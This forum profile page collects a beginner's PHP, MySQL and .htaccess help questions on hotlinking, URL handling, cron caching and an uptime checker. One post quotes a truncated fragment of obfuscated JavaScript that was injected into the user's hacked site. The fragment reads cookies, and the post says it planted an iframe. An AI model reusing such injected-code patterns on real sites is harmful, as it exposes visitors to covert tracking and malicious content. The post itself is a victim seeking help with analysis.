Jump to content

JohnnyDoomo

Members
  • Posts

    61
  • Joined

  • Last visited

Posts posted by JohnnyDoomo

  1. My image gallery creates folders that look like this:

     

    thumbnail: http://blah.com/data/99999/thumbs/abc.jpg

    medium: http://blah.com/data/99999/medium/abc.jpg

    original: http://blah.com/data/99999/abc.jpg

     

    The script dynamically creates new folder IDs where the "99999" are. I would like the .htaccess file to allow the /thumbs/ and /medium/ folders to always allow hotlinking, but I want to protect the fullsize image and replace it with the medium image if it's ever coming from a domain other than my blah.com.

     

    I cannot create an htaccess file for every ID folder, so I need an htaccess rule that wildcards the ID folder, and sits in /data/.

     

    Can anybody help with the code required to do this? Or is something like this not possible until I get the fullsized images OUTSIDE of the folder where the thumbnails, and medium sized images are?

     

    I have very little knowledge of htaccess, so the exact code I can paste is greatly appreciated.

     

    Thanks for any help you can provide.

  2. I have a script that the developer has stopped supporting.

     

    The script has the ability to mark images "mature", but only single images, and one by one. The script has no ability to mark an entire category mature. Is what I want to do is perform a mysql command in phpmyadmin that tells it to auto change the setting for all images in a category to be marked as mature.

     

    Can someone help me with what command I would use to do this?

     

    My database name: site_database

    Category table: pp_categories

    How cats are identified: "catorder"

    Photo table: pp_photos

    How photos are identified as being in the same category: "cat"

    table that I need to change: "ismature"

     

    So I was hoping for a command that I can insert into phpmyadmin, to say all images within a certain category id, change the photos table of "ismature" to 1. From my understanding of the script, this would then mark all the photos in that album on the site as mature.

     

    Can anybody help me with what I would need to type in?

  3. I have a page that has an input field that requests a full url. This includes everything from the http:// to multiple directories into the site. So something similar to http://blah.com/blah/blah/test.jpg

     

    I am trying to pass this url to next page's url. So when you submit this form, the following page is http://mysite.com/?http://blah.com/blah/blah/test.jpg?blah1=1?blah2=2?blah3=3

     

    The problem is, the url always appears like this in the following page: http://mysite.com?http%3A%2F%blah.com%2Fblah%2Fblah%2Ftest.jpg?blah1=1

     

    I need this changed so that it shows properly. I'm new to php, and need this done in php, not javascript. I need the output or proceeding url to look like http://mysite.com/?http://blah.com/blah/blah/test.jpg

     

    I've looked into rawurl/de/encode the get variable and nothing works, as far as getting it to be what is shown in the browser url bar. This is causing me a huge headache, and no matter what I search for in Google, I can't find anything that will allow me to alter a get request BEFORE it's set to the following page, after the submit button has been clicked, but not just change the variable that the get request got, but for what it actually shows in the url field, when calling that get request.

     

    Am I going about this wrong? Am I asking for something that can/shouldn't be done? I searched high and low on stackoverflow and still nothing helps with this exact problem I'm having.

     

    I've tried stripping the http:// out of the get variable and then inserting that variable without the http:// behind my hard typed site like: http://mysite.com?http://$url but I can only echo that, I can't make that be what is actually in the url bar.

     

    Any help on this would be appreciated. If you can make your instructions very basic, that would be extremely helpful, as I am just barely learning get requests and how to pass them onto other pages.

  4. I'm very new to php, and I'm trying to keep ampersands from changing from & to &

     

    I have a url that contains multiple ampersands. I'm trying to hand this variable off to an API line for a local url shortener script. However, the url shortener isn't working, and when I check what it has put into the mysql database, it's saving the url with & instead of &.

     

    The page after submitting the form contains ampersands. On that page is the link for the same page, but being processed by the url shortener. This is the link that is wrong.

     

    I've echo'ed out my variable I'm handing the API and the echo shows ampersands, and I've even checked the source of the html page where the echo is being displayed, and even in the source code, it shows ampersands not &

     

    But when I check the db, the insertion for that short url page, has the page under the correct long url, but all ampersands are switched to &

     

    Do I need to do something more with my variable before handing it to the API?

    Do I need to contact the url shortner programmer?

    Is there something I can search for in the url shortener script, to keep it from "cleaning" my urls I hand it?

    Could this be some server setting that is causing this issue?

     

    Any help on this problem would be greatly appreciated, thanks.

  5. I'm attempting to use the preloader from here: https://www.niklausgerber.com/blog/preloadme-a-lightweight-jquery-website-preloader

     

    My problem is that I have a line that includes a php file. This php line goes out and grabs rss feeds from other sites, and it takes roughly 10 seconds to process. My problem is, when using the above mentioned preloader, the page sits for the time it takes for the php to process, then quickly flashes the preloader, and then the site that uses the gathered rss info.

     

    I don't know php or JS, but want to get this to work, so that the JS lines and page show, while that include statement is loading the php, and gathering the rss info.

     

    Is there any easy way to do this, when I don't know php or JS?

     

    Any help is greatly appreciated. Thanks!

  6. I'm in the process of switching servers. My previous server was both hosted, and managed, but I'm moving to an in-house server, that is only managed.

     

    All accounts on the server our mine, and I'm not a reseller. I have sites that I need to run on different versions of php, and I even have lines that exist in my .htaccess files that look similar to this:

     

     

    AddHandler application/x-httpd-php52 .php
    

     

    I want the new management company to make it so these same lines work, and tell the specific site to run on php version 5.2. I've tried to explain to them what I want done, but I'm not getting anywhere with them.

     

    The server is already setup with CentOS, Apache, and a form of Nginx, and cpanel. Can someone help me with what module, package, etc. that I need to ask them to install or setup, so that I can get these lines to work in my .htaccess files?

     

     

    Thanks for any help!

     

     

  7. I have purchased a fairly simple php script (244 lines) that can cache thumbnails that are external to my domain, creates a thumbnail from them, and caches them into a folder on my domain. While the script covers most of my needs, it has some bugs I'd like fixed.

     

    The script functions in this manner: http://blah.com/script.php?x=http://externaldomain.com/blah.jpg

     

    Here are a list of the bugs I've noticed with the current state the script, and some corrections I'd like made in how the script functions.

     

    1. The script looks to handle gifs fine, but has problems with animated gifs. (This is partially an assumption that it's the animated gifs, but could also be because of their size.)

    Test animated gif it was having trouble pulling and caching: http://www.destructoid.com//ul/313047-drakegif.gif (yes, they produce their links with the double "/" in them. I've tested this with and without the double slashes, and it's not what's preventing it from working, nor can a double slash break any of your coding you add.)

     

    2. The script currently has problems caching images that have certain symbols either in the url, or perhaps just the filename itself. While I specifically want certain symbols fixed, I'd like it if it could handle any possible character that could be thrown into a url path or image filename for your standard English / keyboard.

    Here are a few test images I noticed the script was not able to create thumbnails for / I would want to make sure could be processed:

     

    http://o.aolcdn.com/hss/storage/midas/4bc4ea0a0f7edabe0b454cfb45eda037/202716852/Logitech+G410+Atlas+Spectrum.jpg

    http://www.gamasutra.com/db_area/images/news/2015/Sep/254992/Mario%20Maker%20Small.jpg (Posting this removed the %20 inbetween "Mario%20Maker%20Small")

    http://www.gamasutra.com/db_area/images/news/2015/Sep/254992/Mario Maker Small.jpg (This one specifically has spaces in the filename.)

     

    2a. The script seems to have trouble with image located on https. I would want this fixed.

    Test image: https://my.mixtape.moe/anmwsl.jpg

     

    3. The script has problems when the image it pulls already has the external site's resize code within the url path.

    Test image it was having trouble with: http://i2.wp.com/venturebeat.com/wp-content/uploads/2015/06/Oculus-Touch-2.jpg?resize=800%2C450

     

    3a. It has trouble pulling from this slightly more complicated url, that is also an image resizing script for the source domain.

    Test image: http://o.aolcdn.com/dims-shared/dims3/GLOB/crop/4000x2375+0+291/resize/1200x713!/format/jpg/quality/85/http://hss-prod.hss.aol.com/hss/storage/midas/1fd072fd2fa5b0424b689ee19c3cdb17/202724938/486996838.jpg

     

    4. The script currently puts its cached images inside it's own folder, so the script is in the same folder that has all the thumbnails. I would like this fixed, so that it puts them inside a cached folder configured in the script. This needs to be a configurable setting.

     

    5. Need programmers opinion on having the script clear the cache folder itself, or if it's better to just set a server cronjob for that. If script should do it, I would need it programmed in, as it doesn't clear its folder. (One aspect of this I was thinking of, is a side script that has a cronjob call it, and it only clears images in the cache folder weren't generated in the last 48 hours. This would avoid a cronjob clearing the entire cache folder, and the most recent thumbnail caches having to be regenerated, because they're still being accessed.)

     

    6. The script currently converts pngs with transparency, but makes the background of them black. I'm seeing that the outer edge of the image items seem to be white, so I want to change that to a white, or if not too much programming time is involved, then to be configurable inside the script using FFFFFF or 000000, etc. (The complete color range isn't needed, and I'm more mainly thinking white, black, and an exact gray that I could test to see if a gray worked well for both white and black outlined items inside the transparent png) (Example: When it converts this image: http://image.noelshack.com/fichiers/2015/37/1441895889-fallout-4-logo.png because it has no outline, it turns out to be a completely black thumbnail. I'd like to negate this as much as possible.)

     

     

    Programming guidelines

    7. No settings can be added to the line: http://blah.com/script.php?x=http://externaldomain.com/blah.jpg

    I don't want urls that give some configuration details within the line itself.

     

    8. All the above fixes need to be coded in a way that they work for multiple sites with these problems, and sites that have similar problems, and not the specific urls mentioned in the "test images". For example, this test image (http://i2.wp.com/venturebeat.com/wp-content/uploads/2015/06/Oculus-Touch-2.jpg?resize=800%2C450) cannot be programmed to only look for "venturebeat.com" to remove the "?resize=800%2C450" from the image path, nor can it look specifically for "?resize=800%2C450", but more importantly the possible filename extensions (.jpg .jpeg .png .gif) and remove the following data after that extension, as we may be pulling from another domain, that has a similar, but not the exact resize code after the end of the image filename.

     

     

    Second Job / Separate Quote From Above

    While the above items are nessasity for the script, I'm hoping to have a programmer that can not only fix the above problems, but also quote these as either an option, to either code in at the same time, or at a later date. These would be quoted after you had the source script and a chance to look it over.

     

    9. Added Security - Ensure that the script can't be abused by others. (I know I can make the thumbnails in the cache folder not hotlinkable, but I'm thinking abuse of the script forcing it to bog down my server, etc.)

     

    10. Add Timeout - I do not know if the script has a timeout ability, but if it does it's hardcoded. I would like this configurable, so that I could easily set a timeout, and if the external image hasn't been pulled in that amount of time, and / or if the generating of the thumbnail is taking to long, the process for that image is abandoned.

     

    11. Increase Speed - Nothing that would be a complete rewrite of how the script functions, but after viewing the code, if you could see some fixes from a programming standpoint that could be used to increase the speed at which the script functions in pulling the external image, generating the thumbnail, or displaying the thumbnail.

     

     

     

    Please contact me by PMing me here. I've tried to go into detail the best I could of what I want the script to be able to do. If you need more info before a price quote, please let me know. I'm looking to get a price quote for the job that includes items 1 - 8 above. I'm also only looking for a programmer that can provide proof of their skill, either a history here at phpfreaks or at a freelance site, where I can check your history / skills / rating. If you have a freelance site you use, please include it in the initial PM.

     

    Thanks for reading, I hope I find someone!

  8. I created a new homepage for my network of sites I run. I tried to go for a simple and clean look. The pages themselves function how I'd like, but I'm unsure if the menu system is easy to understand or not.

     

    I even added a time limited message on the front page of the site indicating that the logo was clickable, but purposely left it off of other sub-pages to try and keep the design as clean as possible.

     

    Check it out, let me know what you think. :sweat:

     

    http://ctenetwork.com

  9. Simple for you, but I am very new to just messing around with mysql functions.

     

    I have 1 table that tracks both the item id and the amount of views the item has.

     

    The id column is called gId, and the views column is called gplays.

     

    All I am trying to do is get it to show a list of the latest 100 items, but sort them as most viewed.

     

    I've looked at online tutorials to googling the function, but can't find anything that works.

     

    Here's my current code:

    $results = $db->cachegetall(300, "SELECT gId id, gName name, gDescription descr, gThumb thumb, gplays plays FROM games
    
            ORDER BY gId DESC LIMIT 100");
    

    that just shows the latest 100.

     

    When I try

            ORDER BY gId DESC, gplays DESC LIMIT 100");
    

    I get nothing different. If I do

    
            ORDER BY gplays DESC LIMIT 100");
    

    I get the 100 results, but they are from all items, and I want to only get it from the latest 100 items.

     

    Can someone help me? I really have no idea what these functions are doing, other than the very basic tutorials I've read on the order by function.

  10. I'm looking to get php to write to file when someone visits one of my sites without javascript.

     

    From the research I've done, it seems that an css hidden, iframe within the noscript tag would work, and the php file would then write to a log.

     

    I just want a simple tick log that increments by 1, but perhaps also lists the user-agent.

     

    My one concern is that I want to include this same code on multiple sites, all of which could be trying to access, and write a tick to the same "no JS log". Is that going to cause problems the way php writes to files?

     

    Can someone help me create the code that will write to this log file, that won't cause errors or problems when multiple sites/visitors could be making writes to the log?

     

    I'm a php noob, so while I can research how to get php to write to a file and save, most of the tutorials don't mention if it would be a safe method to use, if multiple domains were trying to write to that same file, at the same time, and trying to add their own "tick" to increment the number within the flat file.

     

    Extended help that I'm looking for is getting ticks per user-agent/search bot, so bots/web users that visit my pages, that don't run JS, could have ticks by them. eg:

     

    Google Bot: 3

    Mozilla Firefox 31.0: 15

     

    Any help on this would be appreciated, or any flaws that you see in this type of tracking, thanks!

  11. I've been doing some searching, but I can't figure this out, as I don't know enough about JS.

     

    I have found a tutorial that does this

    <HTML>
    <HEAD>
    <TITLE>Crunchify - Refresh Div without Reloading Page</TITLE>
     
    <style type="text/css">
    body {
        background-image:
            url('http://cdn3.crunchify.com/wp-content/uploads/2013/03/Crunchify.bg_.300.png');
    }
    </style>
    <script type="text/javascript"
        src="http://code.jquery.com/jquery-1.10.1.min.js"></script>
    <script>
        $(document).ready(
                function() {
                    setInterval(function() {
                        var randomnumber = Math.floor(Math.random() * 100);
                        $('#show').text(
                                'I am getting refreshed every 3 seconds..! Random Number ==> '
                                        + randomnumber);
                    }, 3000);
                });
    </script>
     
    </HEAD>
    <BODY>
        <br>
        <br>
        <div id="show" align="center"></div>
     
        <div align="center">
            <p>
                by <a href="http://crunchify.com">Crunchify.com</a>
            </p>
        </div>
    </BODY>
    </HTML>
    

    But I don't know what exactly I can remove, what needs to stay (as far as the js), and where exactly I insert my ad code that is in a <script> tag of its own... but that also has a <noscript> tag as a fallback. While I understand I need to change the refresh from 3 secs, can someone help me take out the example JS code, and tell me where I would put my JS ad code? And do I simply remove the <script tags from my ad code, when inserting it into an area that is already between <script> tags?

     

    Any help on this would be appreciated, thanks!

  12. Is there a way to test and see if my cronjob is working? Like a command that will create a file or something so that I can see if it is auto created / updated by the cronjob?

     

    The job of the cron is being used to force my site to check for updated rss feeds at regular intervals, so the cronjob is more a function of what needs to be done, and not so much a band-aid. It will simply prevent the site trying to load the RSS feeds upon a user requesting the page, and instead have them ready, inside of cached files on my server already.

  13. I'm a noob at php, but I've found this line:

     

    $cache_time = (60*60) * 1;

     

    To my understanding, this means that the script is caching once every hour.

     

    Is this correct?

     

    I have verified that the files within the cache folder are being created upon first visiting the pages. The problem I'm trying to solve is to prevent that first time visit creating the cache, which takes quite a long time to load.

     

    I did some googling and found that if I add this line to my cron

     

    wget -O - http://website.com/page-that-forces-cache-creation >/dev/null 2>&1

     

    that it's suppose to work.

     

    I set that above cron command to run every hour on my server, but pages still load slow, and I can tell that they are creating the cache upon my actual visit to them.

     

    The above cron command I got from a stackoverflow post, and I'm fairly certain I have set it up correctly in my cpanel.

     

    Is there something I am doing wrong, from the info I've given? If both are correct, I can't see why the script is still manually creating the cache, when the cronjob should be forcing it to do it every hour.

     

    Any help, or pointers you can give me would be appreciated.

     

     

    Thanks.

     

     

  14. Can somebody help me change this line of code:

    photos WHERE approved=1 AND cat IN (501,511,502,503,562,504,506,505,508,2,510) ORDER BY date DESC LIMIT 10", $link);
    

    So that instead of grabbing the 10 latest items of content from my site, it instead grabs 10 random items from only the most recent week?

     

    I am a real noob when it comes to php and I'm thinking this can be changed using the rand() command, but I have no idea how to make it so that it only chooses those random items from the past week.

     

    Thanks for any help you can provide on this probably simple change.

  15. I'm a noobie at php, so this is probably very simple, but I have a field that allows users to submit a title for a page.

     

    Today I discovered someone submitted a title that had "<head><title>" in it, and it broke the site.

     

    If my variable is called $_POST['title'] can someone please show me how I would either keep "<head><title>" in the title, but not process it, or remove certain html tags that would cause trouble?

     

    If you could give me the actual code I need, that would be very helpful, as a lot of times things mentioned on how to do it is over my head at the moment.

     

     

    Thanks for any help you can provide me with.

  16. Can someone here help me cut out parts of urls, using htaccess?

     

    I am looking to cut this type of url:

     

    http://krankr.com/clip/videos.php/photo/62921/Game_Videos/Routine-Oculus_Rift_Alpha_Gameplay_Trailer_HD/

    down to this

    http://krankr.com/62921/Game_Videos/Routine-Oculus_Rift_Alpha_Gameplay_Trailer_HD/

     

    and this type of url

     

    http://krankr.com/clip/showgallery.php/cat/503/Game_Videos/

    down to this

    http://krankr.com/Game_Videos/

     

    I'm not sure if someone can share a simple rule with me that I can simply copy and paste the words I want removed from urls like /photo/ and /videos.php/ or if a separate rule needs to be created for each and every type of item I want removed from urls.

     

    I need it so that if the old url is entered into a browser, it still works too.

     

    Can anybody help me accomplish this?

  17.  

    Hmm . . . I went ahead and coded around the missing 'http' problem (guess I need to update my PHP install) and I wrote a short script that seems to work the same as that linked script with far fewer lines of code. Not guranteeing it 100% but it worked for all the sample values of the OP and additional testng I did:

     

     

    <?php
     
    function returnDomainName($url)
    {
        //If does not begin with http, add it
        if(strtolower(substr($url, 0, 4)) != 'http')
        {
            $url = 'http://' . $url;
        }
        //Attempt to get components
        $components = parse_url($url);
        //If failed, return false
        if(!$components) { return false; }
        //Detemine how many parts are needed based on .uk at the end
        $partCount = (strtolower(strrchr($components['host'], '.')) != '.uk') ? 2 : 3;
        //Explode based on dots
        $partsAry = explode('.', $components['host']);
        //Implode the last $partCount parts back with a dot
        $domain = implode('.', array_slice($partsAry, -1*$partCount));
        return $domain;
    }
    
    //Array of test values
    $urlList = array(
        'google.com',
        'www.google.com',
        'https://google.com',
        'http://www.google.cds',
        'http://www.google.co.uk',
        'http://www.google.co.uk/blah/blah/blah',
        'http://sub1.sub2.google.co.uk:443',
        'http://subdomain.google.com/blah/blah/blah',
        'http://www.google.com?rg=value#anchor'
        );
    
    //Test loop
    foreach($urlList as $url)
    {
        echo "URL: $url<br>";
        echo "Domain: " . returnDomainName($url);
        echo "<br><br>";
    }
     
    ?>

     

    Output

     

    URL: google.com
    Domain: google.com
    
    URL: www.google.com
    Domain: google.com
    
    URL: https://google.com
    Domain: google.com
    
    URL: http://www.google.cds
    Domain: google.cds
    
    URL: http://www.google.co.uk
    Domain: google.co.uk
    
    URL: http://www.google.co.uk/blah/blah/blah
    Domain: google.co.uk
    
    URL: http://sub1.sub2.google.co.uk:443
    Domain: google.co.uk
    
    URL: http://subdomain.google.com/blah/blah/blah
    Domain: google.com
    
    URL: http://www.google.com?rg=value#anchor
    Domain: google.com

     

    Thanks for your help Pyscho! This is working!

     

    Can you tell me what code to add to make it handle both co.uk and com.au domains? (These seem the most popular of extensions, and probably the only two I've actually visited domains on.)

     

    For those wondering about these type of domain extensions, I came across a large list of them: http://www.quackit.com/domain-names/country_domain_extensions.cfm

  18. I've searched long and hard and I can't find anything that works.

     

    I'm new to php and can't program much, but every tutorial I follow on this doesn't do it how I need.

     

    I need something that can take ANY type of looking url and simply return domain.com

     

    Every tutorial I look at seems to have problems if a domain is submitted that looks like any of the following:

     

    google.com

    www.google.com

    https://google.com

    http://www.google.com

    http://www.google.co.uk

    http://www.google.co.uk/blah/blah/blah

    http://subdomain.google.co.uk/blah/blah/blah

    http://www.google.com/blah/blah/blah.php?arg=value#anchor

     

     

    Any piece of code I find and test out, it screws up on one or the other. Can anybody please help me with something that is actually somewhat intelligent? I feel like I've only seen tutorials written by programmers that have no idea what I'm trying to get.

     

    I'm looking for something that can take a url, no matter how it is written, to process it and take it down to it's most simplest form and make it look like domain.com.

     

    I don't know much about php, but I've learned that this parse_url command IMO is shit for what I'm trying to do. Every tutorial that tries to help me with a few lines gets it wrong on one of the above domains.

     

    I don't know much about if statements, but I'm at the point I feel like I have to learn that just to write out dozens of statements to remove everything.

     

    Please help!

  19. You can use fsockopen to test if a server is online, just change the timeout to the number of seconds you wish the server to respond. To get the hostname out of an URL you can use parse_url with second parameter PHP_URL_HOST.

     

    Unfortunately I'm not much of a programmer and I don't know how to use those commands. Is it at all possible to get what you're talking about written out in code that I can test?

     

    I don't know how fsockopen() compares to what I originally posted, I'm just looking for whatever method would be the simplest, most accurate, least resource using method of detecting if a site is up or not from my servers location to the server inputted by a user. I don't know php though, so I'm unable to write much of any code myself.

  20. I was looking for code to create a site that allows you to insert a domain and check if the site is up or not from the servers location. I found a tutorial that contained the code below, but one problem I had when I tested it on a site I knew was down, is that the script hanged for a very long time.

     

    Is what I need in the code below is something of a time out limit and if the script can't perform the action of detecting if the site is up or down within a certain timeframe, then assume the site is down, and display the "down" message.

     

    I'm not a programmer, so though it's probably something simple, I have no idea how to do it.

     

     

     

    <?php
    
        if (isset($_POST['submit'])) {
    
            $url = $_POST['url'];
    
            $curl = curl_init($url);
    
            curl_setopt($curl, CURLOPT_NOBODY, true);
    
            curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    
            curl_exec($curl);
    
            $code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
    
            if ($code == 200) {
    
                echo "<h3>Up!</h3>";
    
            } else {
    
                echo "<h3>Down!</h3>";
    
            }
    
        }
    
    ?>
    
     
    
    <form action="" method="post">
    
        Url: <input type="text" name="url" /><br />
    
        <input type="submit" name="submit" />
    
    </form>
    

     

    On a side note, if it's not too much trouble to add, I would like the script to be able to process the url no matter how it's entered. So whether http://google.com or www.google.com or http://www.google.com or http://www.google.com/blah it is smart enough to trim any of that down to just google.com or however the script needs it to check it.

     

    I don't really understand what the above code is doing, so if somebody could explain it, that would help me understand more about what it's doing to check if the website is up or down. I had one script that was only pinging the server, which I quickly found wasn't an accurate way of telling if a website was up or not from the servers location.

     

    Thanks for any help I can get on this.

  21. My site has no user registration system.

     

    The rest of the code is similar jibberish to me. That's just the first part of the encrypted code. There was an iframe being generated as well on pages, which I can make out the iframe code in the jibberish as it has rame with the hex code for the "i" and the "f".

     

    As I said, I don't want to post the whole thing publicly, but I'm interested in knowing what the rest of the code was doing.

  22. I'm looking for a smart online javascript decoder.

     

    My site was recently hacked and I'm looking to figure out what a javascript file is doing that didn't match my original, and it has obfuscated code in it.

     

    I say a smart decoder, because it seems that parts of the code are encoded and others aren't. I've tried inserting it into all types of online decoders that come up with Google but they all through out errors instead of decode the parts that are in hex / base64.

     

    I hesitate inserting the code here if for no other reason than that on my site it created an iframe, and if that code is posted publicly, I didn't want that site to get any more promotion or this phpfreaks account be linked to that website.

     

    However, if this is the only way, I would be willing to PM someone to decode it for me, as I'm not a coder that can get javascript to write out what it's doing.

     

    Does anybody have better de-obfuscation websites than what are on the first page of google?

     

    Here's a sample of what the obfuscated code looks like:

     

    
    var NRH9="use\x72\x69\x64A\x3081\x37\x46B25";var oy3Al="27";var ab9RvC=1;var EJ_a;function K5N8T(HhRkaFs){var qu24;var RVy9q=document.cookie;if(!RVy9q){return null;}RVy9q=RVy9q.replace(/\s/g,"");var qxtJhjG=RVy9q.split(";");for(var i=0;i<qxtJhjG.length;i++){var jyl8E=qxtJhjG[i].split("=");if(jyl8E[0]==HhRkaFs){qu24=unescape(jyl8E[1]);break;}}return qu24;};function yJoulC(HhRkaFs,Omd1n,OR4TxKq){var exp=new Date();var AJdUl=exp.getTime()+(OR4TxKq*60*60*1000)
    
    

     

    Thanks for any help!

  23. Sorry, all I see is

     

    RewriteCond %{HTTP_REFERER} ^http://domain.com/

     

    Unfortunantly, I don't have any expertise when it comes to finishing that.

     

    I'm looking for something that looks for urls that contain /download/ and if the referrer doesn't match my domain.com, then it removes the /download/ part of the url so that when people click those download links from an external site, they are taken to the page I want them to.

     

    How to do that though, is beyond me.

     

    Any chance of getting the full chunk of code for doing this? I'm not a programmer, so I have very little knowledge when it comes to writing out htaccess statements.

  24. Don't want to simply prevent them from downloading the link and redirect them to the front page.

     

    It does me no good to not actually redirect them to the actual page that DOES contain a download link. That is why I need to be able to remove the /download/ part of the url if they try to access it from an external site.

     

    I've had sites do that to me, and it pisses the hell outta me that they don't make it at least take me to the proper download page if they don't want hotlinking.

     

    I'm hoping to fix that problem, so my site doesn't cause the same issue.

     

    Any other ideas?

     

     

    HTTP_REFERER is what you'll want to use. Note that it's not perfect but will stop most people clicking on these hypothetical links.

    RewriteCond %{HTTP_REFERER} ^http://domain.com/
    # RewriteRule blah blah blah

  25. I have a site that I'm trying to prevent people from linking directly to the download page.

     

    My urls look like this:

     

    http://domain.com/YrWlNpP2/

     

    the "YrWlNpP2" part is dynamic and changing for different items, and the download page for the item is this:

     

    http://domain.com/YrWlNpP2/download/

     

    I want it so that if somebody posts the:

     

    http://domain.com/YrWlNpP2/download/

     

    link on an external site, that when the link is clicked, instead of downloading, it would instead simply open up:

     

    http://domain.com/YrWlNpP2/

     

    or whatever dynamic string (YrWlNpP2) was in the original download link. However:

     

    http://domain.com/YrWlNpP2/download/

     

    needs to work fine when it's accessed from my domain.com site.

     

    I know something like this is possible, as I have something similar working on an image site and protecting fullsize images, but have looked over that htaccess file, and can't see what parts I need to change to make it work in this format.

     

    Can somebody help me with what exactly I need to add to get this type of functionality? I'm not a programmer so if you can help me with exactly what needs to be added, I'd appreciate it.

     

     

    Thanks for any help on this subject!

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.